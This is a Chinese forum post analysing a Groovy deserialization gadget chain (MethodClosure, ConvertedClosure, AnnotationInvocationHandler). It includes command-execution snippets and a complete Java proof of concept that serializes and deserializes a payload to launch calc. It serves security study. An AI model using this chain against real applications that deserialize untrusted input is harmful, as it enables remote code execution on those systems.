ToB企服应用市场:ToB评测及商务社交产业平台

标题: Groovy反序列化链分析 [打印本页]

作者: 没腿的鸟    时间: 2024-5-17 07:26
标题: Groovy反序列化链分析
媒介

Groovy 是一种基于 JVM 的开发语言,具有雷同于 Python,Ruby,Perl 和 Smalltalk 的功能。Groovy 既可以用作 Java 平台的编程语言,也可以用作脚本语言。groovy 编译之后天生 .class 文件,与 Java 编译天生的无异,因此可以在 JVM 上运行。
在项目中可以引用 Groovy 的相关包依赖,分为核心包和模块包,如果想依赖全部包,可以利用 groovy-all
环境搭建

  1. <dependency>
  2.         <groupId>org.codehaus.groovy</groupId>
  3.         <artifactId>groovy-all</artifactId>
  4.         <version>2.4.3</version>
  5. </dependency>
复制代码
Groovy命令执行

MethodClosure
  1. package org.example;
  2. import org.codehaus.groovy.runtime.MethodClosure;
  3. import java.lang.reflect.InvocationTargetException;
  4. import java.lang.reflect.Method;
  5. public class methodClosure {
  6.     public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
  7.         MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");
  8.         Method m = MethodClosure.class.getDeclaredMethod("doCall", Object.class);
  9.         m.setAccessible(true);
  10.         m.invoke(mc, "calc");
  11.     }
  12. }
复制代码
很朴素,一眼看出漏洞点在doCall方法,调试一波

invokeMethod顾名思义就是执行方法的,调试进去看也确实云云,看getOwner是获取到this.owner,看构造方法,owner是一个对象

而owner我们是设置了的,owner就是我们传入的Runtime对象,method同理可控,如许就实现了恣意类方法调用

String.execute()

Groovy为String对象封装了一个execute方法用来动态执行命令,这个方法会返回一个 Process 对象。也就是说,在 Groovy 中,可以直接利用 "ls".execute() 这种方法来执行体系命令ls
注意这里,创建一个Groovy类文件,不是创建java类文件了
  1. package org.example
  2. class stringExecute {
  3.     static void main(String[] args){
  4.         println("calc".execute().text);
  5.     }
  6. }
复制代码
  1. // 直接命令执行
  2. Runtime.getRuntime().exec("calc")
  3. "calc".execute()
  4. 'calc'.execute()
  5. "${"calc".execute()}"
  6. "${'calc'.execute()}"
  7. // 回显型命令执行
  8. println "cmd /c dir".execute().text
  9. println 'whoami'.execute().text
  10. println "${"whoami".execute().text}"
  11. println "${'whoami'.execute().text}"
  12. def cmd = "whoami";
  13. println "${cmd.execute().text}";
复制代码
ConvertedClosure

ConvertedCloure实际上是一个动态署理类,它继承了ConversionHandler

而ConversionHandler又继承了InvocationHandler

因此该类是一个动态署理,然后注意invokeCustom,这个和InvocationHandler的invoke是一个意思,署理的具体逻辑。如果初始化时指定的method与invokeCustom指定的method参数相同,则invokeCustom方法将会调用署理对象 Closure 的call方法执行传入参数执行
Groovy反序列化构造

说到动态署理就得想到CC1
  1. package org.example;
  2. import org.codehaus.groovy.runtime.ConvertedClosure;
  3. import org.codehaus.groovy.runtime.MethodClosure;
  4. import java.io.FileInputStream;
  5. import java.io.FileOutputStream;
  6. import java.io.ObjectInputStream;
  7. import java.io.ObjectOutputStream;
  8. import java.lang.annotation.Target;
  9. import java.lang.reflect.Constructor;
  10. import java.lang.reflect.InvocationHandler;
  11. import java.lang.reflect.InvocationTargetException;
  12. import java.lang.reflect.Proxy;
  13. import java.util.Map;
  14. public class convertedClosure {
  15.     public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException {
  16.         //封装我们需要执行的对象
  17.         MethodClosure methodClosure = new MethodClosure("calc", "execute");
  18.         ConvertedClosure closure = new ConvertedClosure(methodClosure, "entrySet");
  19.         Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  20.         Constructor<?> constructor = c.getDeclaredConstructors()[0];
  21.         constructor.setAccessible(true);
  22.         // 创建 ConvertedClosure 的动态代理类实例
  23.         Map handler = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(), new Class[]{Map.class}, closure);
  24.         // 使用动态代理初始化 AnnotationInvocationHandler
  25.         InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, handler);
  26.         try{
  27.             ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./Groovy"));
  28.             outputStream.writeObject(invocationHandler);
  29.             outputStream.close();
  30.             ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./Groovy"));
  31.             inputStream.readObject();
  32.         }
  33.         catch(Exception e){
  34.             e.printStackTrace();
  35.         }
  36.     }
  37. }
复制代码
调用链
  1. AnnotationInvocationHandler.readObject()
  2.     Map.entrySet() (Proxy)
  3.         ConversionHandler.invoke()
  4.             ConvertedClosure.invokeCustom()
  5.                         MethodClosure.call()
  6.                     ProcessGroovyMethods.execute()
复制代码
流程分析

调用entrySet

触发invoke,this是ConvertedClosure它继承了ConversionHandler,所以是走进父类里面的方法,在这里面进而触发invokeCustom

最后调用call方法rce


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4